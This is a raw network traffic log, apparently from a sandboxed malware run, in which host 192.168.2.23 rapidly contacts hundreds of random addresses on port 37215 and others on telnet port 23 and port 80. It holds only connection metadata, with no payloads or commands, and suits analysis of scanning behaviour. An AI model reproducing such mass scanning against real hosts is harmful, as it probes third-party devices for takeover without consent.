Dec 3, 2024 23:16:42.383400917 CET	40597	37215	192.168.2.23	197.159.252.242
Dec 3, 2024 23:16:42.383413076 CET	40597	37215	192.168.2.23	41.47.151.91
Dec 3, 2024 23:16:42.383414984 CET	40597	37215	192.168.2.23	41.198.2.115
Dec 3, 2024 23:16:42.383418083 CET	40597	37215	192.168.2.23	156.173.22.146
Dec 3, 2024 23:16:42.383430004 CET	40597	37215	192.168.2.23	197.178.168.244
Dec 3, 2024 23:16:42.383431911 CET	40597	37215	192.168.2.23	41.123.216.118
Dec 3, 2024 23:16:42.383441925 CET	40597	37215	192.168.2.23	197.55.80.10
Dec 3, 2024 23:16:42.383450031 CET	40597	37215	192.168.2.23	41.127.110.230
Dec 3, 2024 23:16:42.383457899 CET	40597	37215	192.168.2.23	41.40.208.131
Dec 3, 2024 23:16:42.383460045 CET	40597	37215	192.168.2.23	156.5.155.183
Dec 3, 2024 23:16:42.383479118 CET	40597	37215	192.168.2.23	41.57.26.31
Dec 3, 2024 23:16:42.383480072 CET	40597	37215	192.168.2.23	41.134.63.216
Dec 3, 2024 23:16:42.383481026 CET	40597	37215	192.168.2.23	197.193.172.192
Dec 3, 2024 23:16:42.383482933 CET	40597	37215	192.168.2.23	197.96.178.87
Dec 3, 2024 23:16:42.383491039 CET	40597	37215	192.168.2.23	156.34.211.156
Dec 3, 2024 23:16:42.383497953 CET	40597	37215	192.168.2.23	156.26.168.130
Dec 3, 2024 23:16:42.383501053 CET	40597	37215	192.168.2.23	41.217.103.249
Dec 3, 2024 23:16:42.383512020 CET	40597	37215	192.168.2.23	41.67.155.64
Dec 3, 2024 23:16:42.383512974 CET	40597	37215	192.168.2.23	156.42.154.120
Dec 3, 2024 23:16:42.383522987 CET	40597	37215	192.168.2.23	41.221.218.77
Dec 3, 2024 23:16:42.383524895 CET	40597	37215	192.168.2.23	197.247.7.231
Dec 3, 2024 23:16:42.383533001 CET	40597	37215	192.168.2.23	156.105.100.194
Dec 3, 2024 23:16:42.383548021 CET	40597	37215	192.168.2.23	197.100.225.2
Dec 3, 2024 23:16:42.383558989 CET	40597	37215	192.168.2.23	156.41.180.119
Dec 3, 2024 23:16:42.383559942 CET	40597	37215	192.168.2.23	41.187.211.31
Dec 3, 2024 23:16:42.383562088 CET	40597	37215	192.168.2.23	156.239.207.11
Dec 3, 2024 23:16:42.383562088 CET	40597	37215	192.168.2.23	156.174.160.231
Dec 3, 2024 23:16:42.383565903 CET	40597	37215	192.168.2.23	156.93.195.151
Dec 3, 2024 23:16:42.383565903 CET	40597	37215	192.168.2.23	41.99.41.131
Dec 3, 2024 23:16:42.383583069 CET	40597	37215	192.168.2.23	41.29.185.15
Dec 3, 2024 23:16:42.383584023 CET	40597	37215	192.168.2.23	156.241.68.90
Dec 3, 2024 23:16:42.383594990 CET	40597	37215	192.168.2.23	41.112.195.179
Dec 3, 2024 23:16:42.383600950 CET	40597	37215	192.168.2.23	156.2.145.25
Dec 3, 2024 23:16:42.383601904 CET	40597	37215	192.168.2.23	41.117.181.221
Dec 3, 2024 23:16:42.383609056 CET	40597	37215	192.168.2.23	197.247.232.161
Dec 3, 2024 23:16:42.383616924 CET	40597	37215	192.168.2.23	156.32.28.119
Dec 3, 2024 23:16:42.383619070 CET	40597	37215	192.168.2.23	156.112.49.121
Dec 3, 2024 23:16:42.383619070 CET	40597	37215	192.168.2.23	41.216.117.114
Dec 3, 2024 23:16:42.383631945 CET	40597	37215	192.168.2.23	41.67.240.52
Dec 3, 2024 23:16:42.383636951 CET	40597	37215	192.168.2.23	156.23.56.243
Dec 3, 2024 23:16:42.383646965 CET	40597	37215	192.168.2.23	156.96.218.4
Dec 3, 2024 23:16:42.383649111 CET	40597	37215	192.168.2.23	41.174.37.153
Dec 3, 2024 23:16:42.383662939 CET	40597	37215	192.168.2.23	41.42.16.223
Dec 3, 2024 23:16:42.383662939 CET	40597	37215	192.168.2.23	197.7.158.85
Dec 3, 2024 23:16:42.383662939 CET	40597	37215	192.168.2.23	156.114.50.243
Dec 3, 2024 23:16:42.383680105 CET	40597	37215	192.168.2.23	156.87.84.92
Dec 3, 2024 23:16:42.383682966 CET	40597	37215	192.168.2.23	41.160.155.250
Dec 3, 2024 23:16:42.383682966 CET	40597	37215	192.168.2.23	156.167.81.105
Dec 3, 2024 23:16:42.383690119 CET	40597	37215	192.168.2.23	197.105.252.11
Dec 3, 2024 23:16:42.383701086 CET	40597	37215	192.168.2.23	197.112.105.8
Dec 3, 2024 23:16:42.383702993 CET	40597	37215	192.168.2.23	197.94.200.72
Dec 3, 2024 23:16:42.383713007 CET	40597	37215	192.168.2.23	156.132.59.143
Dec 3, 2024 23:16:42.383716106 CET	40597	37215	192.168.2.23	156.175.229.84
Dec 3, 2024 23:16:42.383724928 CET	40597	37215	192.168.2.23	41.243.84.233
Dec 3, 2024 23:16:42.383738041 CET	40597	37215	192.168.2.23	156.217.172.179
Dec 3, 2024 23:16:42.383744001 CET	40597	37215	192.168.2.23	197.102.65.135
Dec 3, 2024 23:16:42.383759022 CET	40597	37215	192.168.2.23	41.189.144.204
Dec 3, 2024 23:16:42.383761883 CET	40597	37215	192.168.2.23	197.234.44.173
Dec 3, 2024 23:16:42.383822918 CET	40597	37215	192.168.2.23	41.74.229.48
Dec 3, 2024 23:16:42.383824110 CET	40597	37215	192.168.2.23	156.232.230.119
Dec 3, 2024 23:16:42.383836031 CET	40597	37215	192.168.2.23	41.107.196.191
Dec 3, 2024 23:16:42.383838892 CET	40597	37215	192.168.2.23	41.79.198.223
Dec 3, 2024 23:16:42.383853912 CET	40597	37215	192.168.2.23	156.111.111.244
Dec 3, 2024 23:16:42.383862019 CET	40597	37215	192.168.2.23	156.248.15.111
Dec 3, 2024 23:16:42.383872032 CET	40597	37215	192.168.2.23	197.186.189.50
Dec 3, 2024 23:16:42.383881092 CET	40597	37215	192.168.2.23	197.180.156.156
Dec 3, 2024 23:16:42.383882046 CET	40597	37215	192.168.2.23	41.65.54.230
Dec 3, 2024 23:16:42.383898020 CET	40597	37215	192.168.2.23	41.43.227.106
Dec 3, 2024 23:16:42.383903980 CET	40597	37215	192.168.2.23	41.104.102.13
Dec 3, 2024 23:16:42.383912086 CET	40597	37215	192.168.2.23	197.60.79.6
Dec 3, 2024 23:16:42.383924961 CET	40597	37215	192.168.2.23	156.9.245.37
Dec 3, 2024 23:16:42.383944988 CET	40597	37215	192.168.2.23	41.42.239.138
Dec 3, 2024 23:16:42.383951902 CET	40597	37215	192.168.2.23	197.83.148.72
Dec 3, 2024 23:16:42.383971930 CET	40597	37215	192.168.2.23	197.6.137.8
Dec 3, 2024 23:16:42.383974075 CET	40597	37215	192.168.2.23	41.213.154.17
Dec 3, 2024 23:16:42.384032965 CET	40597	37215	192.168.2.23	156.192.10.236
Dec 3, 2024 23:16:42.384052038 CET	40597	37215	192.168.2.23	156.157.121.71
Dec 3, 2024 23:16:42.384052992 CET	40597	37215	192.168.2.23	197.87.223.246
Dec 3, 2024 23:16:42.384052992 CET	40597	37215	192.168.2.23	156.81.148.116
Dec 3, 2024 23:16:42.384057045 CET	40597	37215	192.168.2.23	41.125.2.99
Dec 3, 2024 23:16:42.384077072 CET	40597	37215	192.168.2.23	41.242.11.110
Dec 3, 2024 23:16:42.384079933 CET	40597	37215	192.168.2.23	156.191.216.25
Dec 3, 2024 23:16:42.384083033 CET	40597	37215	192.168.2.23	156.77.160.253
Dec 3, 2024 23:16:42.384092093 CET	40597	37215	192.168.2.23	197.143.123.90
Dec 3, 2024 23:16:42.384094000 CET	40597	37215	192.168.2.23	156.253.142.154
Dec 3, 2024 23:16:42.384104013 CET	40597	37215	192.168.2.23	197.115.214.37
Dec 3, 2024 23:16:42.384111881 CET	40597	37215	192.168.2.23	41.36.17.223
Dec 3, 2024 23:16:42.384114027 CET	40597	37215	192.168.2.23	156.18.4.30
Dec 3, 2024 23:16:42.384140015 CET	40597	37215	192.168.2.23	156.85.24.175
Dec 3, 2024 23:16:42.384140015 CET	40597	37215	192.168.2.23	41.115.45.180
Dec 3, 2024 23:16:42.384146929 CET	40597	37215	192.168.2.23	197.63.226.113
Dec 3, 2024 23:16:42.384165049 CET	40597	37215	192.168.2.23	41.150.109.117
Dec 3, 2024 23:16:42.384202003 CET	40597	37215	192.168.2.23	41.167.174.182
Dec 3, 2024 23:16:42.384203911 CET	40597	37215	192.168.2.23	41.177.213.253
Dec 3, 2024 23:16:42.384211063 CET	40597	37215	192.168.2.23	197.254.82.222
Dec 3, 2024 23:16:42.384219885 CET	40597	37215	192.168.2.23	156.185.222.156
Dec 3, 2024 23:16:42.384237051 CET	40597	37215	192.168.2.23	41.175.44.95
Dec 3, 2024 23:16:42.384241104 CET	40597	37215	192.168.2.23	156.212.126.122
Dec 3, 2024 23:16:42.384241104 CET	40597	37215	192.168.2.23	41.134.183.74
Dec 3, 2024 23:16:42.384253025 CET	40597	37215	192.168.2.23	41.114.11.206
Dec 3, 2024 23:16:42.384263992 CET	40597	37215	192.168.2.23	156.38.181.167
Dec 3, 2024 23:16:42.384263992 CET	40597	37215	192.168.2.23	156.41.78.192
Dec 3, 2024 23:16:42.384274960 CET	40597	37215	192.168.2.23	197.89.125.206
Dec 3, 2024 23:16:42.384288073 CET	40597	37215	192.168.2.23	41.113.221.124
Dec 3, 2024 23:16:42.384288073 CET	40597	37215	192.168.2.23	197.73.178.33
Dec 3, 2024 23:16:42.384314060 CET	40597	37215	192.168.2.23	156.30.243.118
Dec 3, 2024 23:16:42.384314060 CET	40597	37215	192.168.2.23	156.35.90.238
Dec 3, 2024 23:16:42.384314060 CET	40597	37215	192.168.2.23	41.145.237.214
Dec 3, 2024 23:16:42.384337902 CET	40597	37215	192.168.2.23	41.176.93.125
Dec 3, 2024 23:16:42.384341002 CET	40597	37215	192.168.2.23	197.90.98.72
Dec 3, 2024 23:16:42.384342909 CET	40597	37215	192.168.2.23	41.214.161.206
Dec 3, 2024 23:16:42.384350061 CET	40597	37215	192.168.2.23	156.173.45.160
Dec 3, 2024 23:16:42.384370089 CET	40597	37215	192.168.2.23	197.79.235.158
Dec 3, 2024 23:16:42.384377956 CET	40597	37215	192.168.2.23	41.254.27.62
Dec 3, 2024 23:16:42.384388924 CET	40597	37215	192.168.2.23	41.35.128.235
Dec 3, 2024 23:16:42.384394884 CET	40597	37215	192.168.2.23	197.203.18.194
Dec 3, 2024 23:16:42.384397030 CET	40597	37215	192.168.2.23	41.40.223.236
Dec 3, 2024 23:16:42.384407997 CET	40597	37215	192.168.2.23	197.45.62.241
Dec 3, 2024 23:16:42.384409904 CET	40597	37215	192.168.2.23	41.167.191.239
Dec 3, 2024 23:16:42.384418011 CET	40597	37215	192.168.2.23	41.65.55.11
Dec 3, 2024 23:16:42.384433985 CET	40597	37215	192.168.2.23	197.229.254.122
Dec 3, 2024 23:16:42.384433985 CET	40597	37215	192.168.2.23	197.141.152.66
Dec 3, 2024 23:16:42.384433985 CET	40597	37215	192.168.2.23	197.53.147.36
Dec 3, 2024 23:16:42.384435892 CET	40597	37215	192.168.2.23	41.38.179.177
Dec 3, 2024 23:16:42.384454966 CET	40597	37215	192.168.2.23	197.171.222.235
Dec 3, 2024 23:16:42.384457111 CET	40597	37215	192.168.2.23	156.44.177.145
Dec 3, 2024 23:16:42.384468079 CET	40597	37215	192.168.2.23	41.209.166.251
Dec 3, 2024 23:16:42.384486914 CET	40597	37215	192.168.2.23	41.17.135.97
Dec 3, 2024 23:16:42.384495020 CET	40597	37215	192.168.2.23	156.6.211.24
Dec 3, 2024 23:16:42.384499073 CET	40597	37215	192.168.2.23	156.118.92.2
Dec 3, 2024 23:16:42.384510994 CET	40597	37215	192.168.2.23	41.138.212.82
Dec 3, 2024 23:16:42.384510994 CET	40597	37215	192.168.2.23	197.83.95.76
Dec 3, 2024 23:16:42.384510994 CET	40597	37215	192.168.2.23	156.108.239.48
Dec 3, 2024 23:16:42.384510994 CET	40597	37215	192.168.2.23	197.30.67.115
Dec 3, 2024 23:16:42.384526968 CET	40597	37215	192.168.2.23	197.202.122.195
Dec 3, 2024 23:16:42.384541988 CET	40597	37215	192.168.2.23	41.173.252.236
Dec 3, 2024 23:16:42.384543896 CET	40597	37215	192.168.2.23	41.205.7.146
Dec 3, 2024 23:16:42.384546995 CET	40597	37215	192.168.2.23	197.137.222.54
Dec 3, 2024 23:16:42.384562016 CET	40597	37215	192.168.2.23	41.221.5.59
Dec 3, 2024 23:16:42.384562016 CET	40597	37215	192.168.2.23	41.181.202.206
Dec 3, 2024 23:16:42.384562016 CET	40597	37215	192.168.2.23	156.138.67.161
Dec 3, 2024 23:16:42.384583950 CET	40597	37215	192.168.2.23	197.225.240.239
Dec 3, 2024 23:16:42.384586096 CET	40597	37215	192.168.2.23	41.117.91.141
Dec 3, 2024 23:16:42.384604931 CET	40597	37215	192.168.2.23	197.25.75.105
Dec 3, 2024 23:16:42.384607077 CET	40597	37215	192.168.2.23	41.246.38.85
Dec 3, 2024 23:16:42.384624958 CET	40597	37215	192.168.2.23	197.218.241.37
Dec 3, 2024 23:16:42.384625912 CET	40597	37215	192.168.2.23	156.19.146.153
Dec 3, 2024 23:16:42.384639025 CET	40597	37215	192.168.2.23	197.31.189.199
Dec 3, 2024 23:16:42.384643078 CET	40597	37215	192.168.2.23	41.170.244.13
Dec 3, 2024 23:16:42.384649992 CET	40597	37215	192.168.2.23	41.156.112.243
Dec 3, 2024 23:16:42.384670973 CET	40597	37215	192.168.2.23	156.53.46.226
Dec 3, 2024 23:16:42.384674072 CET	40597	37215	192.168.2.23	156.253.181.145
Dec 3, 2024 23:16:42.384675980 CET	40597	37215	192.168.2.23	156.156.14.119
Dec 3, 2024 23:16:42.384692907 CET	40597	37215	192.168.2.23	156.100.228.11
Dec 3, 2024 23:16:42.384710073 CET	40597	37215	192.168.2.23	41.54.114.23
Dec 3, 2024 23:16:42.384712934 CET	40597	37215	192.168.2.23	197.67.237.21
Dec 3, 2024 23:16:42.384716034 CET	40597	37215	192.168.2.23	197.211.177.214
Dec 3, 2024 23:16:42.384736061 CET	40597	37215	192.168.2.23	197.4.254.221
Dec 3, 2024 23:16:42.384738922 CET	40597	37215	192.168.2.23	41.227.254.202
Dec 3, 2024 23:16:42.384746075 CET	40597	37215	192.168.2.23	41.174.180.37
Dec 3, 2024 23:16:42.384757042 CET	40597	37215	192.168.2.23	41.133.101.48
Dec 3, 2024 23:16:42.384763956 CET	40597	37215	192.168.2.23	197.160.105.63
Dec 3, 2024 23:16:42.384774923 CET	40597	37215	192.168.2.23	197.176.2.205
Dec 3, 2024 23:16:42.384774923 CET	40597	37215	192.168.2.23	197.22.79.89
Dec 3, 2024 23:16:42.384778976 CET	40597	37215	192.168.2.23	156.10.64.83
Dec 3, 2024 23:16:42.384835958 CET	40597	37215	192.168.2.23	156.25.133.205
Dec 3, 2024 23:16:42.384850979 CET	40597	37215	192.168.2.23	41.57.162.78
Dec 3, 2024 23:16:42.384851933 CET	40597	37215	192.168.2.23	156.52.119.13
Dec 3, 2024 23:16:42.384855032 CET	40597	37215	192.168.2.23	156.184.164.39
Dec 3, 2024 23:16:42.384860039 CET	40597	37215	192.168.2.23	156.161.147.50
Dec 3, 2024 23:16:42.384869099 CET	40597	37215	192.168.2.23	41.217.59.252
Dec 3, 2024 23:16:42.384874105 CET	40597	37215	192.168.2.23	156.189.189.240
Dec 3, 2024 23:16:42.384886026 CET	40597	37215	192.168.2.23	156.194.177.157
Dec 3, 2024 23:16:42.384886026 CET	40597	37215	192.168.2.23	41.70.32.60
Dec 3, 2024 23:16:42.384907961 CET	40597	37215	192.168.2.23	41.217.224.236
Dec 3, 2024 23:16:42.384910107 CET	40597	37215	192.168.2.23	41.174.47.70
Dec 3, 2024 23:16:42.384917021 CET	40597	37215	192.168.2.23	197.222.213.16
Dec 3, 2024 23:16:42.384932041 CET	40597	37215	192.168.2.23	41.69.253.68
Dec 3, 2024 23:16:42.384943008 CET	40597	37215	192.168.2.23	197.17.71.8
Dec 3, 2024 23:16:42.384948969 CET	40597	37215	192.168.2.23	156.46.8.234
Dec 3, 2024 23:16:42.384954929 CET	40597	37215	192.168.2.23	41.138.202.252
Dec 3, 2024 23:16:42.384962082 CET	40597	37215	192.168.2.23	41.250.163.19
Dec 3, 2024 23:16:42.384975910 CET	40597	37215	192.168.2.23	41.92.110.203
Dec 3, 2024 23:16:42.384977102 CET	40597	37215	192.168.2.23	197.225.133.219
Dec 3, 2024 23:16:42.384975910 CET	40597	37215	192.168.2.23	156.193.4.233
Dec 3, 2024 23:16:42.384983063 CET	40597	37215	192.168.2.23	41.151.66.154
Dec 3, 2024 23:16:42.384989023 CET	40597	37215	192.168.2.23	156.107.35.215
Dec 3, 2024 23:16:42.384989023 CET	40597	37215	192.168.2.23	41.240.77.151
Dec 3, 2024 23:16:42.385001898 CET	40597	37215	192.168.2.23	197.216.86.30
Dec 3, 2024 23:16:42.385023117 CET	40597	37215	192.168.2.23	156.98.144.143
Dec 3, 2024 23:16:42.385025024 CET	40597	37215	192.168.2.23	156.75.202.191
Dec 3, 2024 23:16:42.385045052 CET	40597	37215	192.168.2.23	197.190.220.197
Dec 3, 2024 23:16:42.385045052 CET	40597	37215	192.168.2.23	41.139.233.172
Dec 3, 2024 23:16:42.385054111 CET	40597	37215	192.168.2.23	41.70.215.6
Dec 3, 2024 23:16:42.385062933 CET	40597	37215	192.168.2.23	41.217.252.27
Dec 3, 2024 23:16:42.385065079 CET	40597	37215	192.168.2.23	156.74.195.17
Dec 3, 2024 23:16:42.385086060 CET	40597	37215	192.168.2.23	41.253.84.118
Dec 3, 2024 23:16:42.385092020 CET	40597	37215	192.168.2.23	156.59.73.60
Dec 3, 2024 23:16:42.385093927 CET	40597	37215	192.168.2.23	197.173.87.148
Dec 3, 2024 23:16:42.385102034 CET	40597	37215	192.168.2.23	41.42.54.54
Dec 3, 2024 23:16:42.385113955 CET	40597	37215	192.168.2.23	197.4.255.240
Dec 3, 2024 23:16:42.385114908 CET	40597	37215	192.168.2.23	197.47.185.35
Dec 3, 2024 23:16:42.385135889 CET	40597	37215	192.168.2.23	41.119.228.140
Dec 3, 2024 23:16:42.385137081 CET	40597	37215	192.168.2.23	197.136.193.86
Dec 3, 2024 23:16:42.385154963 CET	40597	37215	192.168.2.23	156.68.149.22
Dec 3, 2024 23:16:42.385159969 CET	40597	37215	192.168.2.23	197.249.113.57
Dec 3, 2024 23:16:42.385188103 CET	40597	37215	192.168.2.23	197.58.232.172
Dec 3, 2024 23:16:42.385193110 CET	40597	37215	192.168.2.23	156.104.231.18
Dec 3, 2024 23:16:42.385195017 CET	40597	37215	192.168.2.23	197.239.199.197
Dec 3, 2024 23:16:42.385204077 CET	40597	37215	192.168.2.23	41.37.39.7
Dec 3, 2024 23:16:42.385206938 CET	40597	37215	192.168.2.23	156.0.142.91
Dec 3, 2024 23:16:42.385224104 CET	40597	37215	192.168.2.23	197.103.185.206
Dec 3, 2024 23:16:42.385229111 CET	40597	37215	192.168.2.23	41.199.202.54
Dec 3, 2024 23:16:42.385236025 CET	40597	37215	192.168.2.23	156.195.38.84
Dec 3, 2024 23:16:42.385240078 CET	40597	37215	192.168.2.23	156.77.17.103
Dec 3, 2024 23:16:42.385258913 CET	40597	37215	192.168.2.23	41.241.232.139
Dec 3, 2024 23:16:42.385258913 CET	40597	37215	192.168.2.23	41.107.159.189
Dec 3, 2024 23:16:42.385272026 CET	40597	37215	192.168.2.23	197.193.174.24
Dec 3, 2024 23:16:42.385272980 CET	40597	37215	192.168.2.23	41.212.60.170
Dec 3, 2024 23:16:42.385272980 CET	40597	37215	192.168.2.23	156.41.191.212
Dec 3, 2024 23:16:42.385289907 CET	40597	37215	192.168.2.23	156.240.70.188
Dec 3, 2024 23:16:42.385289907 CET	40597	37215	192.168.2.23	41.90.217.130
Dec 3, 2024 23:16:42.385291100 CET	40597	37215	192.168.2.23	156.199.57.97
Dec 3, 2024 23:16:42.385298014 CET	40597	37215	192.168.2.23	41.227.203.115
Dec 3, 2024 23:16:42.385304928 CET	40597	37215	192.168.2.23	156.243.20.36
Dec 3, 2024 23:16:42.385345936 CET	40597	37215	192.168.2.23	156.65.212.24
Dec 3, 2024 23:16:42.385348082 CET	40597	37215	192.168.2.23	41.104.138.154
Dec 3, 2024 23:16:42.385354042 CET	40597	37215	192.168.2.23	41.207.92.249
Dec 3, 2024 23:16:42.385360003 CET	40597	37215	192.168.2.23	156.206.45.55
Dec 3, 2024 23:16:42.385365009 CET	40597	37215	192.168.2.23	197.147.110.57
Dec 3, 2024 23:16:42.385379076 CET	40597	37215	192.168.2.23	41.37.110.138
Dec 3, 2024 23:16:42.385384083 CET	40597	37215	192.168.2.23	41.130.109.120
Dec 3, 2024 23:16:42.385386944 CET	40597	37215	192.168.2.23	156.54.20.47
Dec 3, 2024 23:16:42.385387897 CET	40597	37215	192.168.2.23	156.109.25.34
Dec 3, 2024 23:16:42.385400057 CET	40597	37215	192.168.2.23	41.209.45.145
Dec 3, 2024 23:16:42.385400057 CET	40597	37215	192.168.2.23	197.198.133.108
Dec 3, 2024 23:16:42.385400057 CET	40597	37215	192.168.2.23	197.18.146.126
Dec 3, 2024 23:16:42.385413885 CET	40597	37215	192.168.2.23	41.105.138.157
Dec 3, 2024 23:16:42.385417938 CET	40597	37215	192.168.2.23	197.39.83.182
Dec 3, 2024 23:16:42.385421038 CET	40597	37215	192.168.2.23	156.246.49.158
Dec 3, 2024 23:16:42.385433912 CET	40597	37215	192.168.2.23	197.114.205.48
Dec 3, 2024 23:16:42.385452032 CET	40597	37215	192.168.2.23	41.25.133.54
Dec 3, 2024 23:16:42.385461092 CET	40597	37215	192.168.2.23	41.230.161.119
Dec 3, 2024 23:16:42.385464907 CET	40597	37215	192.168.2.23	197.138.64.3
Dec 3, 2024 23:16:42.385473967 CET	40597	37215	192.168.2.23	156.5.68.186
Dec 3, 2024 23:16:42.385481119 CET	40597	37215	192.168.2.23	156.236.251.101
Dec 3, 2024 23:16:42.385482073 CET	40597	37215	192.168.2.23	197.189.220.113
Dec 3, 2024 23:16:42.385487080 CET	40597	37215	192.168.2.23	156.25.6.225
Dec 3, 2024 23:16:42.385499954 CET	40597	37215	192.168.2.23	197.202.142.105
Dec 3, 2024 23:16:42.385504007 CET	40597	37215	192.168.2.23	41.38.58.193
Dec 3, 2024 23:16:42.385505915 CET	40597	37215	192.168.2.23	41.149.102.253
Dec 3, 2024 23:16:42.385526896 CET	40597	37215	192.168.2.23	41.61.150.251
Dec 3, 2024 23:16:42.385541916 CET	40597	37215	192.168.2.23	41.200.193.33
Dec 3, 2024 23:16:42.385546923 CET	40597	37215	192.168.2.23	156.8.58.224
Dec 3, 2024 23:16:42.385582924 CET	40597	37215	192.168.2.23	197.49.130.138
Dec 3, 2024 23:16:42.385596037 CET	40597	37215	192.168.2.23	41.188.251.58
Dec 3, 2024 23:16:42.385596991 CET	40597	37215	192.168.2.23	156.138.186.196
Dec 3, 2024 23:16:42.385624886 CET	40597	37215	192.168.2.23	156.194.9.172
Dec 3, 2024 23:16:42.385626078 CET	40597	37215	192.168.2.23	156.116.140.143
Dec 3, 2024 23:16:42.385638952 CET	40597	37215	192.168.2.23	156.99.230.70
Dec 3, 2024 23:16:42.385641098 CET	40597	37215	192.168.2.23	197.73.68.152
Dec 3, 2024 23:16:42.385648966 CET	40597	37215	192.168.2.23	156.78.141.247
Dec 3, 2024 23:16:42.385653019 CET	40597	37215	192.168.2.23	197.23.156.213
Dec 3, 2024 23:16:42.385664940 CET	40597	37215	192.168.2.23	156.141.247.27
Dec 3, 2024 23:16:42.385680914 CET	40597	37215	192.168.2.23	41.129.249.189
Dec 3, 2024 23:16:42.385698080 CET	40597	37215	192.168.2.23	197.213.59.10
Dec 3, 2024 23:16:42.385700941 CET	40597	37215	192.168.2.23	41.26.228.225
Dec 3, 2024 23:16:42.385715008 CET	40597	37215	192.168.2.23	197.234.77.18
Dec 3, 2024 23:16:42.385720968 CET	40597	37215	192.168.2.23	156.178.42.80
Dec 3, 2024 23:16:42.385724068 CET	40597	37215	192.168.2.23	156.184.20.58
Dec 3, 2024 23:16:42.385727882 CET	40597	37215	192.168.2.23	41.215.15.197
Dec 3, 2024 23:16:42.385729074 CET	40597	37215	192.168.2.23	41.173.224.224
Dec 3, 2024 23:16:42.385739088 CET	40597	37215	192.168.2.23	156.24.190.112
Dec 3, 2024 23:16:42.385750055 CET	40597	37215	192.168.2.23	41.185.125.119
Dec 3, 2024 23:16:42.498917103 CET	23	40602	78.106.155.116	192.168.2.23
Dec 3, 2024 23:16:42.498939991 CET	23	40602	85.55.128.116	192.168.2.23
Dec 3, 2024 23:16:42.498950958 CET	23	40602	19.194.182.114	192.168.2.23
Dec 3, 2024 23:16:42.498969078 CET	23	40602	14.77.40.180	192.168.2.23
Dec 3, 2024 23:16:42.498971939 CET	40602	23	192.168.2.23	78.106.155.116
Dec 3, 2024 23:16:42.498980045 CET	40602	23	192.168.2.23	85.55.128.116
Dec 3, 2024 23:16:42.498984098 CET	40602	23	192.168.2.23	19.194.182.114
Dec 3, 2024 23:16:42.499017954 CET	23	40602	43.116.213.117	192.168.2.23
Dec 3, 2024 23:16:42.499030113 CET	23	40602	136.163.161.166	192.168.2.23
Dec 3, 2024 23:16:42.499049902 CET	40602	23	192.168.2.23	43.116.213.117
Dec 3, 2024 23:16:42.499052048 CET	40602	23	192.168.2.23	14.77.40.180
Dec 3, 2024 23:16:42.499053001 CET	23	40602	86.98.166.227	192.168.2.23
Dec 3, 2024 23:16:42.499063015 CET	23	40602	80.218.36.21	192.168.2.23
Dec 3, 2024 23:16:42.499072075 CET	23	40602	115.251.138.255	192.168.2.23
Dec 3, 2024 23:16:42.499078035 CET	40602	23	192.168.2.23	136.163.161.166
Dec 3, 2024 23:16:42.499085903 CET	40602	23	192.168.2.23	86.98.166.227
Dec 3, 2024 23:16:42.499094963 CET	40602	23	192.168.2.23	80.218.36.21
Dec 3, 2024 23:16:42.499099016 CET	23	40602	186.36.16.153	192.168.2.23
Dec 3, 2024 23:16:42.499111891 CET	40602	23	192.168.2.23	115.251.138.255
Dec 3, 2024 23:16:42.499147892 CET	40602	23	192.168.2.23	186.36.16.153
Dec 3, 2024 23:16:42.499182940 CET	80	40596	62.26.155.116	192.168.2.23
Dec 3, 2024 23:16:42.499222040 CET	40596	80	192.168.2.23	62.26.155.116
Dec 3, 2024 23:16:42.499486923 CET	80	40596	85.71.128.116	192.168.2.23
Dec 3, 2024 23:16:42.499521017 CET	80	40596	64.230.57.252	192.168.2.23
Dec 3, 2024 23:16:42.499531031 CET	80	40596	146.224.75.232	192.168.2.23
Dec 3, 2024 23:16:42.499541044 CET	40596	80	192.168.2.23	85.71.128.116
Dec 3, 2024 23:16:42.499546051 CET	80	40596	219.8.229.7	192.168.2.23
Dec 3, 2024 23:16:42.499556065 CET	80	40596	70.157.117.190	192.168.2.23
Dec 3, 2024 23:16:42.499558926 CET	40596	80	192.168.2.23	64.230.57.252
Dec 3, 2024 23:16:42.499562979 CET	40596	80	192.168.2.23	146.224.75.232
Dec 3, 2024 23:16:42.499567032 CET	80	40596	99.220.28.87	192.168.2.23
Dec 3, 2024 23:16:42.499577999 CET	40596	80	192.168.2.23	219.8.229.7
Dec 3, 2024 23:16:42.499583006 CET	80	40596	189.85.67.233	192.168.2.23
Dec 3, 2024 23:16:42.499593019 CET	80	40596	137.131.15.67	192.168.2.23
Dec 3, 2024 23:16:42.499602079 CET	40596	80	192.168.2.23	99.220.28.87
Dec 3, 2024 23:16:42.499602079 CET	80	40596	71.51.255.243	192.168.2.23
Dec 3, 2024 23:16:42.499608040 CET	40596	80	192.168.2.23	70.157.117.190
Dec 3, 2024 23:16:42.499608040 CET	40596	80	192.168.2.23	189.85.67.233
Dec 3, 2024 23:16:42.499614000 CET	80	40596	120.1.48.228	192.168.2.23
Dec 3, 2024 23:16:42.499618053 CET	40596	80	192.168.2.23	137.131.15.67
Dec 3, 2024 23:16:42.499639034 CET	40596	80	192.168.2.23	71.51.255.243
Dec 3, 2024 23:16:42.499640942 CET	40596	80	192.168.2.23	120.1.48.228
Dec 3, 2024 23:16:42.622648954 CET	80	40596	53.141.70.168	192.168.2.23
Dec 3, 2024 23:16:42.622690916 CET	80	40596	13.9.24.54	192.168.2.23
Dec 3, 2024 23:16:42.622700930 CET	80	40596	107.7.206.29	192.168.2.23
Dec 3, 2024 23:16:42.622704983 CET	80	40596	175.29.66.226	192.168.2.23
Dec 3, 2024 23:16:42.622720957 CET	40596	80	192.168.2.23	53.141.70.168
Dec 3, 2024 23:16:42.622735977 CET	80	40596	188.248.208.136	192.168.2.23
Dec 3, 2024 23:16:42.622741938 CET	40596	80	192.168.2.23	13.9.24.54
Dec 3, 2024 23:16:42.622745991 CET	40596	80	192.168.2.23	107.7.206.29
Dec 3, 2024 23:16:42.622750998 CET	40596	80	192.168.2.23	175.29.66.226
Dec 3, 2024 23:16:42.622769117 CET	80	40596	210.85.95.252	192.168.2.23
Dec 3, 2024 23:16:42.622771025 CET	40596	80	192.168.2.23	188.248.208.136
Dec 3, 2024 23:16:42.622778893 CET	80	40596	223.14.73.140	192.168.2.23
Dec 3, 2024 23:16:42.622787952 CET	80	40596	189.186.226.168	192.168.2.23
Dec 3, 2024 23:16:42.622807980 CET	40596	80	192.168.2.23	210.85.95.252
Dec 3, 2024 23:16:42.622814894 CET	80	40596	173.29.208.225	192.168.2.23
Dec 3, 2024 23:16:42.622817039 CET	40596	80	192.168.2.23	223.14.73.140
Dec 3, 2024 23:16:42.622824907 CET	80	40596	165.199.249.64	192.168.2.23
Dec 3, 2024 23:16:42.622833014 CET	80	40596	134.228.25.219	192.168.2.23
